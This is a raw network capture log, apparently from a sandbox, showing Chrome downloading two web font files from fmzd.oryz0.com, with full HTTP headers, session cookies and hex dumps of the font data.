2024-05-23 08:31:34 UTC	624	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:33 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="rs446YaMsFkkugl9Pul1200uv39" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v3HmrTNAviKC47m435F9Cb47%2BpeGj0JGGdz0cXXsWZf7tgVMtaAhWVZbks7MbCr43%2F8qx4UCTtkWFkRpTg2hNJ3Z4mzi%2BmT6v3dFzCfg8cLt75x9B6fRZD4%2Fqrnnog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0b9ff83236b-EWR
2024-05-23 08:31:34 UTC	745	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: cf db e5 9f fb 06 4b 68 b0 50 00 7c 22 4d 93 ae 4a 51 a6 00 02 1a e0 df 3f 60 01 fc 53 40 7b df ed 6f 97 f6 52 6a 43 45 a1 71 78 8f 70 92 21 28 57 69 9f a4 1b eb 64 59 b5 25 ff 2f 72 f2 23 13 70 04 e7 43 20 15 c4 93 e2 e9 00 00 81 82 83 f3 72 1e 6f 34 50 f1 7d e4 e6 7f 33 58 92 99 5d 88 fc f3 a2 d4 ae 01 36 f2 9e 27 7e 26 b0 d3 c0 5d b7 b4 a7 2a 79 09 f4 8f b6 ff 59 51 82 a7 39 e1 22 76 b7 c3 17 cb 33 f0 af 90 a0 d9 6f 45 4d 51 6f 57 4d 16 57 60 cc 85 de 1f 9a 8a 01 13 c4 07 db cc a4 0e 94 94 10 82 59 08 56 81 8a 4f 32 11 7f ee f1 f8 f4 6c 83 02 c7 ac 9d 70 01 31 87 f4 42 a5 c2 bf 46 6e 0e 7f 6f 10 3c d0 ab a8 2c 43 8f f7 0f fd 97 f8 5e c0 59 e6 43 00 b6 fe 57 ae e9 b6 74 58 e2 11 7c a8 60 d2 a6 bc 97 35 3a f7 59 64 40 5d e5 12 6a 18 bb 24 b6 dc ca 76 b6 Data Ascii: KhP\|"MJQ?`S@{oRjCEqxp!(WidY%/r#pC ro4P}3X]6'~&]*yYQ9"v3oEMQoWMW`YVO2lp1BFno<,C^YCWtX\|`5:Yd@]j$v
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 4e 4a ad 68 65 68 64 9a cf 32 9d 4d e7 8a 0a 96 48 c8 6c 22 d8 b5 a2 1b ed 62 bc b1 36 52 21 05 95 14 c7 81 94 35 dc bc 61 7e c1 b4 7a 90 11 b4 ca 1d 10 b9 22 0a 08 40 c0 9b 31 90 dc 27 05 17 40 40 05 00 50 85 55 b6 46 4e 76 17 a1 cf f8 91 28 18 bc 86 dd 28 8a 0d 6e 1d 26 6e 7d 95 e8 90 58 8c 91 02 38 4a a0 94 87 e5 5a 50 e2 4c bc d0 25 06 2b 80 8c c4 05 99 9c 71 86 d8 29 ca 83 fb a6 88 8f df 77 45 f5 08 aa 72 b3 dd 04 90 49 e7 01 a0 73 40 15 14 14 29 cb f1 82 58 04 82 31 5a 02 29 dc 92 31 91 53 51 02 a6 fa 29 2a 80 d8 45 b8 e5 49 0f 90 d8 00 4a f9 09 a8 6e 75 4c 81 89 2f 00 77 7d b0 d2 75 b4 ea 9a ae 67 98 3e 3c 14 be 13 55 48 55 f9 1e 60 2e ed fc 69 cf da b5 42 06 20 96 20 07 60 a8 05 c2 4c f9 e3 9b e0 38 ab d1 83 9b 3a 8b 85 5e ca a3 dc 75 85 2b e0 30 Data Ascii: NJhehd2MHl"b6R!5a~z"@1'@@PUFNv((n&n}X8JZPL%+q)wErIs@)X1Z)1SQ)*EIJnuL/w}ug><UHU`.iB `L8:^u+0
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 2f 8d 21 bc 9b c0 9e 39 aa 76 68 dd 8c 5b 2f 6b 9f 1d b3 c9 cf 85 80 7e 4d 7d 1c 44 b5 56 8e d5 c6 7d 25 c4 02 3b 1b 15 6b 50 8d 7e cb ba 24 26 a5 bb 63 d1 11 53 27 2b df 09 8c 31 2c f4 05 2d 8e 9d 58 08 42 45 de 45 e3 4e a2 83 07 5d cd 4a 33 e0 b5 97 e1 ae c5 ad d6 f0 84 e2 b0 3c c6 03 e7 41 3f 7a 78 70 cc 8c 76 2e 02 cf b0 85 b1 bb 8b 6f c8 80 02 d5 9e 4a 0a a0 e3 4b b7 9b 9f c2 a6 10 af 98 9a 67 7a 8f e4 ad 45 d1 58 cc 2e ad 55 97 e2 39 c3 32 ea cd 24 ff 27 7b 73 5b b5 87 25 e3 73 aa 4d 39 f0 18 1c e6 1b 82 af d3 ba d2 3c 76 ce 79 bf b0 50 9d c3 58 69 34 3f af 43 4d 37 3b 6c 0d ce 6f 77 95 ec 53 d8 54 86 b1 6d 91 2a 74 76 a0 4a b1 bf 18 8f 94 7e cf d7 cf f4 a0 5e 55 14 0e 79 da 72 32 2d 41 57 0e 69 b4 3f 77 7c c5 7f e3 8f 3f 86 9b ff 3b dd 9e 48 b6 50 Data Ascii: /!9vh[/k~M}DV}%;kP~$&cS'+1,-XBEEN]J3<A?zxpv.oJKgzEX.U92$'{s[%sM9<vyPXi4?CM7;lowSTm*tvJ~^Uyr2-AWi?w\|?;HP
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: cf 99 80 54 9b eb 9f 00 6a 07 4d d1 ff 28 8b fc 6c d2 51 9d 0e 83 9d 22 5c e7 48 fc 92 05 99 2d cc c3 68 90 eb c1 5c 1c b1 24 18 71 2e 08 a3 6c db c7 5b cb 58 47 63 ba 7c 3d 91 9d bf 11 44 11 fd a1 6b 70 7b ee c6 de 50 49 44 db ef aa dc 2c 43 d6 77 cc 1f aa ac 43 7b cb 87 68 e6 c2 24 ef 71 39 38 ea ca 50 a1 dd a1 b9 16 af e7 5b 36 1a a3 68 7d b7 d1 9b 19 9e 1c 5e da b3 75 d6 19 24 b3 60 d0 95 e7 b7 0d b0 2c 6e a1 9e a0 81 cf 5d 0e 63 53 f1 46 00 2f bb fe 1f 70 a5 9e 58 1d 8b e9 75 3b 36 ba 42 6c 18 29 19 db c5 7e 29 4e 35 47 ef 03 d3 11 c4 6b cc 5c b2 8c 98 87 f1 b4 13 7a 4a eb 68 53 1d d1 cd 11 38 50 f8 a2 27 ad a6 67 78 4b 59 17 a6 07 71 e0 18 1c 10 0b 1d 4d 5f a1 68 c3 41 66 ce 84 77 dd 8c a7 e9 0d 2d 3e d3 90 90 f7 e2 a7 6d b2 50 7a fd 83 9e 09 59 ba Data Ascii: TjM(lQ"\H-h\$q.l[XGc\|=Dkp{PID,CwC{h$q98P[6h}^u$`,n]cSF/pXu;6Bl)~)N5Gk\zJhS8P'gxKYqM_hAfw->mPzY
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: e2 c8 e7 ed 03 c0 64 f5 67 15 d4 4b a0 1c 83 ae 60 ec ae 01 51 24 52 a8 17 ec d7 e5 02 86 d6 f7 93 a3 02 4c fd 08 2e 8c 51 67 00 58 f0 b7 dd 29 00 ab bc b1 63 95 3a c0 e5 1b 8e 84 eb 18 37 bb ef 5b d7 78 fc 7d eb 19 6f bf 0f 7d 63 b3 00 00 20 24 28 4c 1c 20 c3 ee 31 20 a1 ae 01 e7 67 65 60 3c ab 00 96 58 09 ac 4a bb 44 03 43 dd 38 d9 f3 a2 2b cd a5 b3 5c 2d 6b ac c0 93 b0 6f fd 3a 04 fd 22 2e c2 be 55 37 a0 58 93 20 c4 cf 40 e9 fe 01 ff a3 bf 02 54 df f1 8b 37 d2 18 b9 b2 03 8d 66 21 96 60 25 57 88 a6 3f f3 e8 ee 9c 1a f8 ec 5f 95 a3 57 af 34 dc c0 f6 14 72 54 dc 81 7e 73 3e 7a 37 c6 fa dd 84 b2 82 b7 a0 7a 70 7b fd bf 42 d0 4f eb 28 a4 30 55 01 23 24 61 8a 97 2a 35 0e da f7 f4 cd 10 22 2c 42 aa 28 31 81 9a 39 89 24 32 0a 29 54 d2 64 c9 91 a7 40 89 a2 74 Data Ascii: dgK`Q$RL.QgX)c:7[x}o}c $(L 1 ge`<XJDC8+\-ko:".U7X @T7f!`%W?_W4rT~s>z7zp{BO(0U#$a*5",B(19$2)Td@t
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 7c b3 6d 8b 0c 04 3f 40 60 4f 3c e0 20 be 10 e4 01 3d a8 7d a6 28 9b 38 a1 c5 64 57 74 3d ec 7f 7d 08 26 bd 16 95 ea 5b 16 b0 5d d2 de b5 6e b9 e3 ae 7b 6e 6b 72 28 f0 1d 1b 15 eb 74 db 4d 9d ae bb 2f 4e a5 f6 c0 61 4c 1d c7 6e b4 0c 4d bd 43 5d 9c ee 65 37 b8 ea ff 8d 8b ca 96 bb eb 56 d5 5a 4d 90 d4 e4 b5 76 87 e4 8d 45 7d 9a 48 7b 15 e0 5a c2 73 b4 ee 2e be 04 f8 b4 7e c7 da 3d f4 f5 ed 7a 5a 3f ac 25 b2 36 32 5a f6 5f c0 4a 1d ff a4 c9 f4 bf f6 4f f8 3a c0 5c 92 fa 51 9c be bf bc 3e 88 6f 28 0a 9c e4 45 91 5e ff 83 f9 e0 35 e2 f6 53 a6 99 64 a7 9e 68 3c 39 c1 74 f8 af 2d f4 6b e8 e9 d0 0e 42 8c e0 02 a8 36 9f 40 50 6b 72 08 44 df 89 c3 a0 23 f1 be 82 8f 9f a6 6c c8 ea e2 70 81 d8 e7 08 a7 65 e7 73 8e 16 c3 78 1e d8 5f dd 27 48 e7 20 ba 7f 9a bb 53 d4 Data Ascii: \|m?@`O< =}(8dWt=}&[]n{nkr(tM/NaLnMC]e7VZMvE}H{Zs.~=zZ?%62Z_JO:\Q>o(E^5Sdh<9t-kB6@PkrD#lpesx_'H S
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: bf 53 bf e2 c7 1c f6 cf 7b e2 5f aa f0 6f 0a fc 99 a3 fe 7b 4f fc 4f 15 fe 4f f1 7a c1 4f 5d c3 5e e8 fa 49 b7 d0 0e 70 d3 ad 1f fb c9 d3 33 05 10 1c 9c 8f f4 d8 f9 ab 65 5f 2e 9e fa 31 5c 0f 80 47 2e 03 e8 af 1b ab 78 90 19 8c 5c 3d 16 50 9e 10 aa b7 bb f1 96 e9 e8 50 5a 57 99 89 cb 42 8c 4f a5 c6 83 b0 72 71 d2 e9 5c 2c 8d e9 08 ac 4c 5d e9 e1 2a 2c 52 ba 08 9f 4a 8e 07 a1 28 86 32 a7 dd c8 b8 a8 8b 07 a7 74 ba 73 43 a8 e0 ea ca f2 67 58 b7 fe e2 8b 5d 0d dd c5 61 5a 55 59 9a 0f cd a5 7c b3 55 ed 6b 08 d9 3e 2e e8 14 eb a1 c6 2d 23 31 06 d3 5c 07 73 91 a5 48 f6 10 c2 65 09 59 44 d5 32 9e c2 c0 67 88 49 29 63 f6 60 86 66 ae f7 aa d0 58 94 7c 06 f4 ab 58 8e d0 72 36 8b 19 fb d1 96 1d 44 50 d7 90 6d 47 b6 20 cc 83 76 4d b5 21 b9 79 ec 7d 89 41 6e 78 78 e8 Data Ascii: S{_o{OOOzO]^Ip3e_.1\G.x\=PPZWBOrq\,L]*,RJ(2tsCgX]aZUY\|Uk>.-#1\sHeYD2gI)c`fX\|Xr6DPmG vM!y}Anxx
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 04 2e 4d eb 35 d1 e1 80 1c 69 5d bf cc a1 e8 ac ef 3b f9 0a 24 ed 13 15 ac 4d 28 6d ea 7c 96 81 ad 6b 76 cb f2 ea 9a 98 e8 b3 84 7a ce d7 ad d3 1a f7 5d b8 96 7f e0 ef fb 3e d2 ff 10 71 be 45 2d 8d b5 93 2a 9f 2a fe 87 98 cc f7 1a 0f e6 a6 af f9 2b 26 34 d7 d6 39 10 09 be 2e 9e f0 d4 8e 33 b4 8b 19 e5 a9 9d 73 66 58 9e dc dc f7 04 ae e0 53 fd d4 74 7f cd 9a 76 7c 53 74 7a b8 41 07 9a 43 e8 66 29 ea 9d 9e 9c 9f 60 5e dc a2 67 a2 89 2e 8a 3d 6a 11 03 df b2 c3 35 2d db bf 54 8e 2c e8 63 02 b6 b6 82 1f 1e 48 3c 04 3a 4d 54 d0 ba 1b 7f cf 00 55 2a 7c 3c 7a f7 c0 a9 d4 3c 3a e4 66 3e 91 cb 46 cd d4 3b 3d 5e 7c 75 77 09 fc 80 de 6b 83 b1 31 20 03 f7 52 5b 17 79 79 fc fa e3 c7 fe 67 66 0b 87 1e ce e4 67 4f 5f 86 a5 da ce f5 c1 0b 83 57 1e 81 d4 75 41 77 3a b7 59 Data Ascii: .M5i];$M(m\|kvz]>qE-*+&49.3sfXStv\|StzACf)`^g.=j5-T,cH<:MTU\|<z<:f>F;=^\|uwk1 R[yygfgO_WuAw:Y
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 3b 07 e6 8f 03 0a 13 5b 7c 11 96 dd 39 50 c7 5c e8 b6 f3 ef e1 f8 f4 af 76 d7 04 6c a5 5b 5e a5 1f 82 e5 c8 48 75 02 05 a3 99 05 4b 0b cf 39 99 9b 44 e9 29 d2 4f e0 4d 76 5e eb d9 c9 2a 51 3c d3 98 aa 7e 11 1f 98 ae d2 2b d3 a4 f9 9a 0c b7 3d 84 70 b2 dd be ff 15 fd d3 ca ed c7 5a e4 3b 4f 4d 7e fe de f7 38 7c 59 78 f5 45 72 48 c9 b4 a5 47 d1 4f d6 15 62 27 b3 8b 70 d3 fa a2 3e a2 bc 65 ae 08 dd f4 4c 26 b8 0e bb 11 81 6e 8c ee b3 4e 29 73 93 b2 4d 47 db 14 36 f3 fd ef 69 4c 75 77 3d d1 4d 84 97 19 e8 a7 6b fe ff f9 e1 fa fd 4c a2 2c c7 1e 8d a7 96 3f 2a d7 8f 3f 1f 03 bf fd da ba fb e8 7b 75 c5 a3 0a fe 9a ef 16 b0 ec ef b4 ce b9 94 ed 47 9b 64 db 4f 4d ac 65 d4 fc 88 ba 28 3c ff 22 39 a2 6a b1 ac 41 de 47 d1 17 e3 ce e4 66 86 cf a8 ea 07 b9 46 7e 13 54 Data Ascii: ;[\|9P\vl[^HuK9D)OMv^Q<~+=pZ;OM~8\|YxErHGOb'p>eL&nN)sMG6iLuw=MkL,??{uGdOMe(<"9jAGfF~T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49782	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:33 UTC	1403	OUT	GET /yzT75NuNHtjHz278hkeAUSuqr50 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fmzd.oryz0.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:34 UTC	621	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:33 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="yzT75NuNHtjHz278hkeAUSuqr50" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BL3NDnzLfZvecicsbDx%2Fjb0itfB7%2Bmr9EzS5M0j8kx2FvpWfvpT6S6rInTeoPsbIjoWD0lcEQ2%2FrkbWOrkVl7AAp87ic8BEryCFelAR7FyGpyedQJRdUdiWFfBBTbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0b9febb0c9e-EWR
2024-05-23 08:31:34 UTC	748	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hheat
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 02 da 41 45 b4 8b f6 d2 01 fa 90 4a e8 10 1d a6 06 6a e2 04 f6 b2 8f bb 71 26 5f c6 d7 f2 60 be 81 87 f0 50 be 91 87 f1 4d 3c 9c 6f e6 5b f8 56 1e c1 b7 f1 48 1e cb 53 78 3a cf e0 99 3c 8b 67 f3 1c 9e cb f3 78 3e 2f e0 85 bc 88 17 f3 12 5e ca cb 78 39 af e0 95 bc 8a 57 73 2e e7 f1 26 de ca 85 bc 93 8b 78 0f 17 13 f3 6a 55 4a a9 94 ae 42 d4 53 9d a7 1c 32 28 5f b5 d0 01 55 c7 d3 d5 51 9e a1 82 3c 87 e2 79 ae 6a e6 79 d8 e7 ab f3 bc 50 85 78 b1 3a c5 cb d0 b6 02 6d 2b b1 af 56 d5 fc 8a aa e5 35 68 5b 8b 7e 45 b8 57 4c dd e8 72 70 c0 07 1e f8 30 ea 19 2a 50 75 18 f9 24 4f 41 af e9 94 86 d1 b7 f1 4c 4a e1 59 e4 e5 d9 e4 e1 39 18 65 ae da 02 4c b5 c0 14 02 a6 20 2f 22 3f b0 6d e1 a5 94 08 8c 8d bc 1c bf 2b f0 cc 4a ec ab c8 00 e6 a3 9c ab 1a f8 15 ea 2a d8 f3 Data Ascii: AEJjq&_`PM<o[VHSx:<gx>/^x9Ws.&xjUJBS2(_UQ<yjyPx:m+V5h[~EWLrp0Pu$OALJY9eL /"?m+J
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: de 74 d3 5e f4 39 ff 11 7a a1 e7 db 00 aa 6a 1d 19 56 5a 57 86 48 dc 00 97 0c cb df 06 44 32 47 d0 be cf d6 47 e1 40 dc f0 9f e8 bc ef e6 e4 11 eb e1 13 bf 8f ec f1 0c fa c6 ab 90 aa 27 03 73 ec a2 5a 00 90 2e ee 04 71 d6 a8 af e9 82 6f 6a bb 7a 16 de dd 07 09 27 ab 4f 54 b9 aa 55 cd aa 5a fd 45 2d 01 d5 75 ea b0 3a a3 3e a3 38 d5 a4 ce 83 de 7c d0 df 97 52 70 75 94 92 c0 9f d8 51 f9 02 a8 d4 bf 0d 42 5d 85 3a 41 99 ea 04 a8 1d 40 1e 50 59 8d a6 7b cc dc 9e fc 2d 41 9c 5d 4e 7e e1 ae 81 59 7d 09 c9 c5 66 eb 02 ac d5 ea 24 f2 9c 78 a1 06 76 01 ed 20 75 4a f3 4a 73 10 96 d3 c5 99 53 50 7e d2 e5 2c 1e 67 be 18 f1 f2 a0 3a 07 1a 6b d4 11 70 26 01 60 40 f6 04 e9 96 a1 d1 83 3c d3 03 30 a4 9e 21 58 2e b9 e8 f5 4a d5 14 1b 2a b7 a9 57 21 b7 4c 00 a9 f7 14 b2 63 Data Ascii: t^9zjVZWHD2GG@'sZ.qojz'OTUZE-u:>8\|RpuQB]:A@PY{-A]N~Y}f$xv uJJsSP~,g:kp&`@<0!X.J*W!Lc
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 7d ac de 52 27 f5 1a 9c 39 86 da a5 f6 aa 77 20 cb 62 68 0f 34 06 da 9b 6d cb 57 8e 1f aa b3 6a 87 ab 1a 2d 95 b7 c3 cd ea 20 ec e4 20 e4 58 62 d2 a1 73 2d f1 c6 01 8c ad b5 af 0c 39 56 10 ed a5 c0 9e 8a b3 24 f8 b3 0c f5 67 3c dd 1c d1 67 f8 61 5f 6f 80 8a a5 f0 7d 7e b1 da 06 f4 6d c1 dd 15 e4 87 9e 7f a2 df d2 6b 3f 0a 7c 59 82 eb 55 1a 8e e3 93 ba 16 47 b5 11 ef f0 ef 6d 8b 2b d5 ea 7e 3c b9 4e 7f c7 25 1e 2d e8 5a 17 09 60 fe 86 9a a4 72 25 2f e8 02 2b db 4d 37 e8 55 27 f5 38 65 ab 0f 1d 9a da 48 4c 4b 16 fe e6 a4 da 6f 71 df a0 ae 62 b9 65 ed bf c4 41 e5 d1 d0 46 b6 ae f5 10 75 5c 1d 06 cf fc a6 15 68 2a ac 9c da bd 26 1f f6 56 49 be c2 33 cf f4 db d8 52 bd 9e a6 69 8f 20 71 d3 03 9d 50 07 1c 1f 60 98 39 7c c4 bc 3e 14 3d d2 60 a6 15 ad 96 20 b3 6f Data Ascii: }R'9w bh4mWj- Xbs-9V$g<ga_o}~mk?\|YUGm+~<N%-Z`r%/+M7U'8eHLKoqbeAFu\h*&VI3Ri qP`9\|>=` o
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 29 71 c1 88 90 33 d7 58 35 64 95 ce b7 a1 21 51 be 30 47 2d b2 0e b5 9e 1d 15 6d 0b c8 96 da fa a0 ca c3 08 65 c8 4a c2 22 b7 ca 90 fe 55 ad b1 5d 3d d7 69 66 d6 59 bb ac 92 9b df 5d b4 59 47 5b a0 d6 a0 36 4b 32 2b 43 f5 17 b3 12 b6 f2 f1 06 e4 bd 46 ab 26 29 ed db 72 c8 f9 8e 27 7c d5 c0 f4 66 7f a5 04 5d b9 a5 ae 07 5d 54 ee 76 a8 3c aa ab 4e c9 d2 8a a4 2a d8 25 df fe 6b 5b 14 2a 5b 9a db fb 4b 97 75 75 4a 65 c4 dc dd 6b 7f c9 2f b5 48 99 53 57 d5 44 fb 7b 1c d4 1d 75 f0 0b a9 e2 ef b2 91 c5 37 80 af c9 ad ef 99 d5 fd 12 21 b2 25 f3 31 35 2c 45 de c5 d4 c9 93 a6 8e a5 09 bf 33 44 e7 bc f2 05 6a 36 20 00 d0 35 76 26 ee 24 8a a7 e9 2f f4 18 f0 41 b5 c0 14 14 2d 0d e8 15 76 e9 d5 5a d5 d6 45 58 cb 6c b1 fc 66 8b 95 ed 35 c3 fb b5 56 22 f1 ae 1c b8 d6 92 Data Ascii: )q3X5d!Q0G-meJ"U]=ifY]YG[6K2+CF&)r'\|f]]Tv<N%k[[KuuJek/HSWD{u7!%15,E3Dj6 5v&$/A-vZEXlf5V"
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 3b 8f a6 4b f8 4e be 87 02 3c 86 c7 51 26 a2 09 ec 14 f1 e4 e7 d4 83 a7 f0 14 1a c8 53 79 2a f5 e6 a7 f8 29 4a e2 5f f0 2f 70 fe 34 3f 8d f3 5f f2 7f a2 cf 34 9e 46 5d f9 57 fc 2b 4a e3 67 f8 19 9c ff 9a 7f 8d f3 e9 3c 9d ae e1 19 3c 83 46 f1 4c 9e 49 f7 f0 2c 9e 45 63 78 36 cf a6 2b 79 0e cf a1 7e 88 59 cf 92 0f 51 eb 79 1c e7 f2 5c 1a cd f3 78 1e 0d e0 f9 3c 9f 46 f0 0b fc 5f d4 8d 17 f0 02 1a cc 0b 79 21 dd c0 8b 78 11 dd c6 8b 79 31 8d 44 a4 5b 42 b7 f0 52 5e 4a b7 f2 4b fc 12 8d 47 c4 5b 46 fd 79 39 2f a7 6b 79 05 af a0 eb 78 25 af a4 eb 11 07 57 d1 55 bc 9a 57 eb ff 3b c4 b9 74 35 ff 96 5f a6 cb 10 19 5f a1 3b 78 0d af a1 9b 74 84 a4 e1 3a 42 d2 5d 88 90 9b e8 76 44 c9 cd 74 b3 8e 93 94 a1 63 23 28 dc c1 3b 70 dc c9 3b 69 18 a2 64 11 0d 42 9c dc 43 Data Ascii: ;KN<Q&Sy*)J_/p4?_4F]W+Jg<<FLI,Ecx6+y~YQy\x<F_y!xy1D[BR^JKG[Fy9/kyx%WUW;t5__;xt:B]vDtc#(;p;idBC
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 73 fc ab fc cb fc 63 fd f1 fe f8 a3 95 4a 9e aa 38 27 ec 40 58 be 75 35 c5 8a 4c 9b 39 e5 af cd 65 0b 47 f9 98 13 7c ad 34 70 06 da 4c 76 52 9c f9 65 db 65 ab 93 e6 2c 71 32 9d 2c 67 8d 93 e3 6c 74 f2 9c 5d ce 1e 27 df 29 70 0e db de 61 e7 b8 f3 31 e7 1d 4e de 3f ea 6c 27 e7 cf 22 c4 ba f4 ae 36 6a b1 f6 e8 4d ad 52 8a 66 6b 9e 36 e9 39 4d d2 34 8d 53 82 86 6a 87 b6 6a a7 66 6a be 5e d5 58 bd a6 17 35 45 dd f5 ba c6 eb 0d 4d d4 0c 2d 51 86 d2 94 ae 09 ca d4 7d 5a a0 85 4a d4 7e a5 aa 9f b2 b4 59 3d d8 a7 95 4a 52 9c 16 69 8c 66 11 4d 1b da 9a 6b ae 31 f7 b8 Data Ascii: M/X:Q+T"#Pc~2c?uIscJ8'@Xu5L9eG\|4pLvRee,q2,glt]')pa1N?l'"6jMRfk69M4Sjjfj^X5EM-Q}ZJ~Y=JRifMk1
